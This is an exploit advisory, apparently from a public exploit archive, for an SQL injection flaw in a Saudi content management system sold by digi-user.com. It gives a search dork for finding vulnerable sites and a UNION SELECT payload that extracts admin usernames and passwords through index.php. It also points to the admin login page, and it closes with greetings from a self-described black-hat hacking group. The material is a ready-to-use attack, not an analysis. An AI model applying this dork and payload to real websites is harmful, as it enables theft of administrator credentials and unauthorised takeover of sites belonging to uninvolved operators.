Cms OF Saudi SQLInjection Vulnerability

[3H34N]

#(+) Exploit Title: Cms OF Saudi SQLInjection Vulnerability
#(+) Author       : 3H34N
#(+) E-mail       : [email protected]
#(+) dork         : "تصميم وبرمجة المستخدم الرقمي"
#(+) Versian      : All Ver
#(+) Category     : Web Apps [SQl]
#(+) Platform     : Tested on: linux-Windows
#(+) Download     : http://www.digi-user.com/
 
____________________________________________________________________
____________________________________________________________________
 
 
The security problem in the file "index.php" has been created.
 
[~] Vulnerable File :
 
#      [+]http://localhost.com/index.php?action=[SQL]
 
[~] SQL injection Vulnerability
     
#      [+]-1+union+select+1,username,password,4,5,6,id+from+admin--
 
#      [+]http://localhost.com/index.php?action=1&id=-3+union+select+1,username,password,4,5,6,id+from+admin--
 
Note:login page is here http://localhost.com/mng/
____________________________________________________________________
____________________________________________________________________
 
########################################################################
(+)IRANIAN Young HackerZ # Persian Gulf
(+)Black Hat Group Member : Net.Edit0r & DarkCoder & p3nt3st3r & H3x & 3H34N & D3adly #BHG
(+)Sp My Best Friend : Net.Edit0r ^ BlackHat ~ Immortal Boy ~ Mr.Xhat~ Ashkan ..SkilleR.. ~ r3d.s3cur1ty ~ 4min ~ d3v1l.eyes ~  S3Ri0uS and all Friends
(+)Gr33ts to : All Iranian HackerZ
########################################################################

http://securityreason.com/wlb_show/WLB-2011040100

http://dl.packetstormsecurity.net/11...ssaudi-sql.txt